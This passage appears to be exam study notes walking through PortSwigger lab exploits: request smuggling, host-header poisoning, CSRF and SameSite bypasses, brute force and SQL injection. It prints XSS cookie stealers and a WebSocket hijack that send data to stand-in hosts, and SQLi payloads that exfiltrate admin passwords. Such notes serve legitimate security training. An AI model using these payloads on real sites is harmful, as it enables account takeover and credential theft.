X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

Check the exploit server log to obtain the reset link to the victim username.

PortSwigger Lab: Password reset poisoning via middle-ware

HOST Connection State

Target is vulnerable to routing-based SSRF via the Host header, but validate connection state of the first request. Sending grouped request in sequence using single connection and setting the connection header to keep-alive, bypass host header validation and enable SSRF exploit of local server.

GET / HTTP/1.1
Host: TARGET.net
Cookie: session=ValueOfSessionCookie
Content-Length: 48
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive

Next request is the second tab in group sequence of requests.

POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

Observe that the second request has successfully accessed the admin panel.

PortSwigger Lab: Host validation bypass via connection state attack

HTTP Request Smuggling

Architecture with front-end and back-end server, and front-end or back-end does not support chunked encoding (HEX) or content-length (Decimal). Bypass security controls to retrieve the victim's request and use the victim user's cookies to access their account.

TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer

TE.CL dualchunk - Transfer-encoding obfuscated

If Duplicate header names are allowed, and the vulnerability is detected as dualchunk, then add an additional header with name and value = Transfer-encoding: cow. Use obfuscation techniques with second TE.

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Transfer-encoding: identity
Transfer-encoding: cow

Some servers that do support the Transfer-Encoding header can be induced not to process it if the header is obfuscation in some way.

On Repeater menu ensure that the "Update Content-Length" option is unchecked.

POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n

Note: You need to include the trailing sequence \r\n\r\n following the final 0.

PortSwigger Lab: HTTP request smuggling, obfuscating the Transfer-Encoding (TE) header

Wonder how often this scenario occur that hacker is able to steal visiting user request via HTTP Sync vulnerability?

TE.CL multiCase - Admin blocked

When attempting to access /admin portal URL path, we get the filter message, Path /admin is blocked. The HTTP Request Smuggler scanner identify the vulnerability as TE.CL multiCase (delayed response). Note: because back-end server doesn't support chunked encoding, turn off Update Content-Length in Repeater menu.

After disable auto content length update, changing to HTTP/1.1, then send below request twice, adding the second header Content-Length: 15 prevent the HOST header conflicting with first request.
Note: need to include the trailing sequence \r\n\r\n following the final 0.

Manually fixing the length fields in request smuggling attacks, requires each chunk size in bytes expressed in HEXADECIMAL, and Content-Length specifies the length of the message body in bytes. Chunks are followed by a newline, then followed by the chunk contents. The message is terminated with a chunk of size ZERO.

POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Calculating TE.CL (Transfer-Encoding / Content-Length) smuggle request length in HEXADECIMAL and the payload is between the hex length of 71 and the terminating ZERO, not including the ZERO AND not the preceding \r\n on line above ZERO, as part of length. The initial POST request content-length is manually set.

When sending the /admin/delete?username=carlos to delete user, the transfer encoding hex length is changed from 71 to 88 hexadecimal value to include extra smuggled request size.

PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

CL.TE multiCase - Admin blocked

When attempting to access /admin portal URL path, we get the filter message, Path /admin is blocked. The HTTP Request Smuggler scanner identify the vulnerability as CL.TE multiCase (delayed response).

To access the admin panel, send below request twice, adding the second header Content-Length: 10 prevent the HOST header conflicting with first request.

POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

On the second time the request is send the admin portal is returned in response.

PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

CL.TE multiCase - Content-Length

Large Content-Length to capture victim requests. Sending a POST request with smuggled request but the content length is longer than the real length and when victim browse their cookie session value is posted to blob comment. Increased the comment-post request's Content-Length to 798, then smuggle POST request to the back-end server.

POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

No new line at end of the smuggled POST request above^^.

View the blog post to see if there's a comment containing a user's request. Note that once the victim user browses the target website, then only will the attack be successful. Copy the user's Cookie header from the blog post comment, and use the cookie to access victim's account.

PortSwigger Lab: Exploiting HTTP request smuggling to capture other users' requests

CL.TE multiCase - User-Agent Cookie Stealer

Identify the UserAgent value is stored in the GET request loading the blog comment form, and stored in User-Agent hidden value. Exploiting HTTP request smuggling to deliver reflected XSS using User-Agent value that is then placed in a smuggled request.

Basic Cross Site Scripting Payload escaping out of HTML document.

 "/><script>alert(1)</script>

COOKIE STEALER Payload.

a"/><script>document.location='http://OASTIFY.COM/?cookiestealer='+document.cookie;</script>

Smuggle this XSS request to the back-end server, so that it exploits the next visitor. Place the XSS cookie stealer in User-Agent header.

POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

Check the PortSwigger Collaborator Request received from victim browsing target.

PortSwigger Lab: Exploiting HTTP request smuggling to deliver reflected XSS

HTTP/2 smuggling via CRLF injection

Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers. Exploitation is by use of an HTTP/2-exclusive request smuggling vector to steal a victims session cookie and gain access to user's account.

Identify possible vulnerability when Target reflect previous and recent search history based on cookie, by removing cookie it is noticed that your search history is reset, confirming that it's tied to your session cookie.

Expand the Inspector's Request Attributes section and change the protocol to HTTP/2, then append arbitrary header foo with value bar, follow with the sequence \r\n, then followed by the Transfer-Encoding: chunked, by pressing shift+ENTER.

Note: enable the Allow HTTP/2 ALPN override option and change the body of HTTP/2 request to below POST request.

0

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=HACKER-SESSION-COOKIE
Content-Length: 800

search=nutty

PortSwigger Lab: HTTP/2 request smuggling via CRLF injection

Youtube demo HTTP/2 request smuggling via CRLF injection

HTTP/2 TE desync v10a h2path

Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. Steal the session cookie, of the admin visiting the target. The Burp extension, HTTP Request Smuggler will identify the vulnerability as HTTP/2 TE desync v10a (H2.TE) vulnerability.

Note: Switch to HTTP/2 in the inspector request attributes and Enable the Allow HTTP/2 ALPN override option in repeat menu.

POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

Note: Paths in both POST and GET requests points to non-existent endpoints. This help to identify when not getting a 404 response, the response is from victim user captured request. Remember to terminate the smuggled request properly by including the sequence \r\n\r\n after the Host header.

Copy stolen session cookie value into new http/2 GET request to the admin panel.

GET /admin HTTP/2
Host: TARGET.web-security-academy.net
Cookie: session=VictimAdminSessionCookieValue
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"

PortSwigger Lab: Response queue poisoning via H2.TE request smuggling

Brute Force

Stay-Logged-in
Stay-logged-in Offline Crack
Brute Force Protected Login
Subtly Invalid Login

Stay-Logged-in

Login option with a stay-logged-in check-box result in Cookie value containing the password of the user logged in and is vulnerable to brute-forcing.

The exploit steps below plus the Intruder Payload processing rules in order and including the GREP option in sequence before starting the attack.

Logout as current user.
Send the most recent GET /my-account request to Burp Intruder.
Select the cookie: stay-logged-in as injection position.
Hash: MD5
Add prefix: carlos:
Encode: Base64-encode
Add GREP under settings tab, to check for the string in the response Update email indicating successfully logged in attack.

PortSwigger Lab: Brute-forcing a stay-logged-in cookie

Stay-logged-in Offline Crack

The blog application comment function is vulnerable to stored XSS, use the below payload in blog comment to send the session cookie of Carlos to the exploit server.

<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

Base64 decode the stay-logged-in cookie value and use an online MD5 hash crack station database.

PortSwigger Lab: Offline password cracking

Brute Force Protected Login

Identified brute force protection on login when back-end enforce 30 minute ban, resulting in IP blocked after too many invalid login attempts. Testing X-Forwarded-For: header result in bypass of brute force protection. Observing the response time with long invalid password, mean we can use Pitchfork technique to identify first valid usernames with random long password and then rerun intruder with Pitchfork, set each payload position attack iterates through all sets simultaneously.

Burp Lab Username, Password and directory fuzzing Word lists

Payload position 1 on IP address for X-Forwarded-For: and position 2 on username with a long password to see the response time delay in attack columns window.

X-Forwarded-For: 12.13.14.15

Repeat above Pitchfork intruder attack on the password field and then identify valid password from the status column with 302 result.

PortSwigger Lab: Username enumeration via response timing

Subtly Invalid Login

Identify that the login page & password reset is not protected by brute force attack, and no IP block or time-out enforced for invalid username or password.

Tip for the BSCP Exam, there is sometimes another user with weak password that can be brute forced. Carlos is not always the account to target to give a foothold access in stage 1.

Notice on the Intruder attack column for the GREP value, Invalid username or password. the one response message for a failed username attack do not contain full stop period at the end. Repeat the attack with this identified username, and Sniper attack the password field to identify 302 response for valid login.

In the BSCP exam lookout for other messages returned that are different and disclose valid accounts on the application and allow the brute force identified of account passwords, such as example on the refresh password reset function.

Once valid username identified from different response message, the perform brute force using Burp Intruder on the password.

PortSwigger Lab: Username enumeration via subtly different responses

Another scenario to identify valid username on the WEB APP is to provide list of usernames on login and one invalid password value. In the Intruder attack results one response will contain message Incorrect password.
Intruder attack injection position, username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789.

PortSwigger Lab: Username enumeration via different responses

Authentication

Account Registration
Auth Token bypass Macro

Account Registration

Business logic flaw in the account registration feature allow for gaining foothold as target user role access. Content Discovery find the path /admin, message state the Admin interface is only available if logged in as a DontWannaCry user.

Creating email with more that 200 character before the @ symbol is then truncated to 255 characters. This identify the vulnerability in the account registration page logic flaw. In the email below the m at the end of @dontwannacry.com is character 255 exactly.

very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

PortSwigger Lab: Inconsistent handling of exceptional input

Auth Token bypass Macro

If the authentication login is protected against brute force by using random token that is used on every login POST, a Burp Macro can be used to bypass protection.

Create Burp Macro

Open Proxy settings and select sessions under Project choices.
Scroll down to Macros, and add new macro.
Select request from the list to use for the value to be used.
click Configure item and add custom parameter location to extract.
Click OK to return to Sessions under Project choices.
Add a Session handling rule, and the editor dialogue opens.
In the dialogue, go to the "Scope" tab.
Under scope for the session handling rule editor, check Target, Intruder, and Repeater.
Still under "URL Scope", select Include all URLs.
Close Settings.

PortSwigger Lab: Infinite money logic flaw - show how to create Burp Macro

Privilege Escalation

CSRF Account Takeover

OAuth
Referer Validation CSRF
Referer Header Present
LastSearchTerm
CSRF duplicated in cookie
CSRF Token Present
Is Logged In
CSRF No Defences
SameSite Strict bypass
SameSite Lax bypass

Cross-Site Request Forgery vulnerability allows an attacker to force users to perform actions that they did not intend to perform. This can enable attacker to change victim email address and use password reset to take over the account.

OAuth

oAuth linking exploit server hosting iframe, then deliver to victim, forcing user to update code linked.

Intercepted the GET /oauth-linking?code=[...]. send to repeat to save code. Drop the request. Important to ensure that the code is not used and, remains valid. Save on exploit server an iframe in which the src attribute points to the URL you just copied.

<iframe src="https://TARGET.net/oauth-linking?code=STOLEN-CODE"></iframe>

PortSwigger Lab: Forced OAuth profile linking

Referer Validation CSRF

Identify the change email function is vulnerable to CSRF by observing when the Referer header value is changed the response give message, Invalid referer header, and the email change is accepted when the referrer value contains the expected target domain somewhere in the value.

Adding original domain of target and append history.pushState('', '', '/?TARGET.net'); to the Referer header in the form of a query string, allow the change email to update.

Referrer-Policy: unsafe-url

Note: Unlike the normal Referer header spelling, the word "referrer" must be spelled correctly in the above head section of the exploit server.

Create a CSRF proof of concept exploit and host it on the exploit server. Edit the JavaScript so that the third argument of the history.pushState() function includes a query string with target URL.

<html>
  <!-- CSRF PoC -  CSRF with broken Referer validation -->
  <body>
	<script>
		history.pushState('', '', '/?TARGET.net');
	</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

When above exploit payload is delivered to victim, the CSRF POC payload changes the victim email to hacker@exploit.net, because the Referer header contained target in value. In BSCP exam take not of your hacker@exploit server email address to use in account takeover.

PortSwigger Lab: CSRF with broken Referer validation

Referer Header Present

In the update email request when changing the referer header the response indicate Invalid referer header, identifying CSRF vulnerability. Using the <meta name="referrer" content="no-referrer"> as part of the exploit server CSRF PoC this control can be bypassed. This instruct the exploit server to Deliver Exploit to victim without referer header.

<html>
  <!-- CSRF PoC - CSRF where Referer validation depends on header being present -->
  <body>
<meta name="referrer" content="no-referrer">
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="administrator&#64;EXPLOIT&#46;NET" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

This is interactive exploit and in BSCP exam if the stage 1 exploit was non interactive then this can be used to obtain administrator interaction by her clicking on the link to change their password. Note to check the source code of the change email page for any additional form id values.

PortSwigger Lab: CSRF where Referer validation depends on header being present

LastSearchTerm

Identify the CSRF vulnerability where token not tied to non-session cookie, by changing the csrfkey cookie and seeing the result that the request is rejected. Observe the LastSearchTerm cookie value containing the user supplied input from the search parameter.

Search function has no CSRF protection, create below payload that injects new line characters %0d%0a to set new cookie value in response, and use this to inject cookies into the victim user's browser.

/?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None

Generate CSRF POC, Enable the option to include an auto-submit script and click Regenerate. Remove the auto-submit script code block and add following instead, and place history.pushState script code below body header. The onerror of the IMG SRC tag will instead submit the CSRF POC.

<img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None" onerror="document.forms[0].submit()">

During BSCP Exam set the email change value to that of the exploit server hacker@exploit-server.net email address. Then you can change the administrator password with the reset function.

In the below CSRF PoC code, the hidden csrf value is the one generated by the change email function and the csrfkey value in the img src is the value of the victim, obtained by logging on as victim provided credentials. not sure in exam but real world this is test to be performed.

<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;exploit&#45;0a18002e03379f0ccf16180f01180022&#46;exploit&#45;server&#46;net" />
      <input type="hidden" name="csrf" value="48hizVRa9oJ1slhOIPljozUAjqDMdplb" />
      <input type="submit" value="Submit request" />
    </form>
	<img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrfKey=NvKm20fiUCAySRSHHSgH7hwonb21oVUZ%3b%20SameSite=None" onerror="document.forms[0].submit()">    
  </body>
</html>

PortSwigger Lab: CSRF where token is tied to non-session cookie

CSRF duplicated in cookie

In the target we identify that the CSRF key token is duplicated in the cookie value. Another indicator is the cookie LastSearchTerm contain the value searched. By giving search value that contain %0d%0a we can inject an end of line and new line characters to create new CSRF cookie and value.

In the exploit code img src tag we set cookie for csrf to fake.

<html>
  <body>
    <form action="https://TARGET.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ATTACKER&#64;EXPLOIT-SERVER&#46;NET" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>

PortSwigger Lab: CSRF where token is duplicated in cookie

CSRF Token Present

Changing the value of the csrf parameter result in change email request being rejected. Deleting the CSRF token allow the change email to be accepted, and this identify that the validation of token being present is vulnerable.

CSRF PoC Payload hosted on exploit server:

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>

PortSwigger Lab: CSRF where token validation depends on token being present

Is Logged In

If cookie with the isloggedin name is identified, then a refresh of admin password POST request could be exploited. Change username parameter to administrator while logged in as low privilege user, CSRF where token is not tied to user session.

POST /refreshpassword HTTP/1.1
Host: TARGET.net
Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://TARGET.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Referer: https://TARGET.net/refreshpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

csrf=TOKEN&username=administrator

CSRF No Defences

Target with no defences against email change function, can allow the privilege escalation to admin role. In the exam changing the email to the attacker@EXPLOIT.NET email address on the exploit server can allow the attacker to change the password of the admin user, resulting in privilege escalation.
In the exam there is only one active user, and if the previous stage was completed using an attack that did not require the involving of the active user clicking on a link by performing poison cache or performing phishing attack by means of Deliver to Victim function, then CSRF change exploit can be used.

PortSwigger Lab: CSRF vulnerability with no defences

SameSite Strict bypass

In the live chat function, we notice the GET /chat HTTP/2 request do not use any unpredictable tokens, this can identify possible cross-site WebSocket hijacking (CSWSH) vulnerability if possible to bypass SameSite cookie restriction.

Host on exploit server POC payload to identify CSWSH vulnerability.

<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

The SameSite=Strict is set for session cookies and this prevent the browser from including these cookies in XSS cross-site requests. We Identify the header Access-Control-Allow-Origin in additional requests to script and images to a subdomain at cms-.
Browsing to this CDN subdomain at cms- and then identify that random user name input is reflected, confirmed this to be a reflected XSS vulnerability.

cms reflected xss samesite bypass

https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass

Bypass the SameSite restrictions, by URL encode the entire script below and using it as the input to the CDN subdomain at cms- username login, hosted on exploit server.

<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Host the following on exploit server and deliver to victim, once the collaborator receive the victim chat history with their password, result in account takeover.

<script>
    document.location = "https://cms-TARGET.net/login?username=ENCODED-POC-CSWSH-SCRIPT&password=Peanut2019";
</script>

The chat history contain password for the victim.

PortSwigger Lab: SameSite Strict bypass via sibling domain

SameSite Lax bypass

Observe if you visit /social-login, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction., and in proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.

Bypass the popup blocker, to induce the victim to click on the page and only opens the popup once the victim has clicked, with the following JavaScript. The exploit JavaScript code first refreshes the victim's session by forcing their browser to visit /social-login, then submits the email change request after a short pause. Deliver the exploit to the victim.

<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="administrator@exploit-server.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

PortSwigger Lab: SameSite Lax bypass via cookie refresh

Password Reset

Refresh Password broken logic
Current Password

Refresh Password broken logic

If the application Refresh Password feature is flawed, this vulnerability can be exploited to identify valid accounts or obtain password reset token. This can lead to identifying valid users accounts or privilege escalation.

This is the type of vulnerability that do not require active user on application to interact with the exploit, and without any user clicking on link or interaction. Take note of vulnerabilities that do not require active user on application for the BSCP exam, as this mean in the next stage of the exam it is possible to use for example other interactive phishing links send to victim.

Identify in the source code for the /forgot-password page the username is a hidden field.

Exploit the post request by deleting the temp-forgot-password-token parameter in both the URL and request body. Change the username parameter to carlos.

PortSwigger Lab: Password reset broken logic

Current Password

Identify the Change password do not need the current-password parameter to set a new password, and the user whom password will be changed is based on POST parameter username=administrator
In the PortSwigger labs they provide you the credentials for wiener:peter, and this simulate in the exam stage 1 achieved low level user access. In exam this password reset vulnerability is example of how it is possible without interaction from active user to privilege escalate your access to admin.

Intercept the /my-account/change-password request as the csrf token is single random use value, set username=administrator, and remove current-password parameter.

PortSwigger Lab: Weak isolation on dual-use endpoint

SQL Injection

Blind Time Delay
Blind SQLi
Blind SQLi no indication
Blind SQLi Conditional Response
Oracle
SQLMAP
Non-Oracle Manual SQLi
Visual error-based SQLi
HackTheBox CPTS SQLi Fundamentals

Error based or Blind SQL injection vulnerabilities, allow SQL queries in an application to be used to extract data or login credentials from the database. SQLMAP is used to fast track the exploit and retrieve the sensitive information.

Identify SQLi, by adding a double (") or single quote (') to web parameters or tracking cookies, if this break the SQL syntax resulting in error message response, then positive SQL injection identified. If no error or conditional message observed test blind Time delays payloads.

SQL Injection cheat sheet examples

Blind Time Delay

Blind SQL injection with time delays is tricky to identify, fuzzing involves educated guessing as OffSec also taught me in OSCP. The below payload will perform conditional case to delay the response by 10 seconds if positive SQL injection identified.

Identify SQLi vulnerability. In Burp Practice exam Stage 2 the advance search filters are vulnerable to PostgreSQL. I found SQLMAP tricky to identify and exploit the practice exam vulnerability in advance search. Manual exploit of the SQL injection time delay in Practice Exam here.

;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--

URL encoded PostgreSQL payload.

'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

Determine how many characters are in the password of the administrator user. To do this, increment the number after >1 conditional check.

;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Using CLUSTER Bomb attack to re-run the attack for each permutation of the character positions in the password, and to determine character value.

;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Using CLUSTER bomb attack type with two payload, first for the length of the password 1..20 and then second using characters a..z and numbers 0..9. Add the Response Received column to the intruder attack results to sort by and observe the 10 seconds or more delay as positive response.

PortSwigger Lab: Blind SQL injection with time delays and information retrieval

Practice Exam PostgreSQL TimeDelay

In the Burp Practice exam stage 2 the SQL injection is escaped not using single quote ' but using a semicolon ; and then URL encoding it as %3B.

%3BSELECT+pg_sleep(7)--

With a Intruder CLUSTER bomb attack the password can be extracted in one single attack with two payload positions in the below payload.

;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

Stage 3 of the Burp Practice exam admin portal require exploitation of an insecure deserialization cookie value.

Blind SQLi

Target is vulnerable to Out of band data exfiltration using Blind SQL exploitation query. In this case the trackingID cookie. Below is combination of SQL injection and XXE payload to exploit the vulnerability and send administrator password as DNS request to the collaborator service.

TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration

The SQL payload above can also be used to extract the Administrator password for the this PortSwigger Lab: Blind SQL injection with conditional errors challenge.

Blind SQLi no indication

Placing a single quote at end of the trackingid cookie or search parameter /search_advanced?searchTerm=' may give response 500 Internal Server Error. Make an educated guess, by using below blind SQLi payload and combine with basic XXE technique, this then makes a call to collaboration server but no data is ex-filtrated.

TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

Additional SQLi payload with XML for reference with || the SQL concatenation operator to concatenate two expressions that evaluate two character data types or to numeric data type and do some obfuscating.

'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % fuzz SYSTEM "http://OASTI'||'FY.COM/">%fuzz;]>'),'/l') from dual)||'

OAST - Out-of-band Application Security Testing

PortSwigger Lab: Blind SQL injection with out-of-band interaction

Blind SQLi Conditional Response

This blind SQL injection is identified by a small message difference in the responses. When sending a valid true SQL query the response contain Welcome back string in response. Invalid false SQL query statement do not contain the response conditional message.

' AND '1'='1

False SQL statement to identify conditional message not in response.

' AND '1'='2

Determine how many characters are in the password of the administrator user. To do this, change the SQL statement value to and in intruder Settings tab, at the "Grep - Match" section. Clear any existing entries in the list, and then add the value Welcome back to identify true condition.

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Next step is to test the character at each position to determine its value. This involves a much larger number of requests.

' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

Alternative use a CLUSTER Bomb attack and setting two payload positions, first one for the character position with a payload of numbers 1..20 and the second position, using alpha and number characters, this will iterate through each permutation of payload combinations.

PortSwigger Lab: Blind SQL injection with conditional responses

Oracle

Identified SQL injection by adding a single quote to the end of the category parameter value and observing response of 500 Internal Server Error.

Retrieve the list of tables in the Oracle database:

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Oracle payload to retrieve the details of the columns in the table.

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--

Oracle payload to retrieve the usernames and passwords from Users_XXX table.

'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

PortSwigger Lab: SQL injection attack, listing the database contents on Oracle

SQLMAP

In the PortSwigger Practice Exam APP we identify SQLi on the advance search function by adding a single quote and the response result in HTTP/2 500 Internal Server Error.

Here is my HackTheBox CPTS study notes on SQLMAP examples to bypass primitive protection WAF mechanisms. SQLMAP Essentials - Cases

After doing some testing with SQLMAP versions 1.7.2#stable and 1.6, I found that both are able to exploit the PortSwigger Practice exam. Walkthrough from bmdyy doing the Practice Exam using SQLMAP for reference of the parameters used.

PortSwigger Forum thread - SQLMAP

I took the practice exam and was able to exploit SQLi using below payload.

sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ 
  -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes' \
  -H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \
  -H 'sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "Linux"' \
  -H 'sec-fetch-dest: document' \
  -H 'sec-fetch-mode: navigate' \
  -H 'sec-fetch-site: same-origin' \
  -H 'sec-fetch-user: ?1' \
  -H 'upgrade-insecure-requests: 1' \
  -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
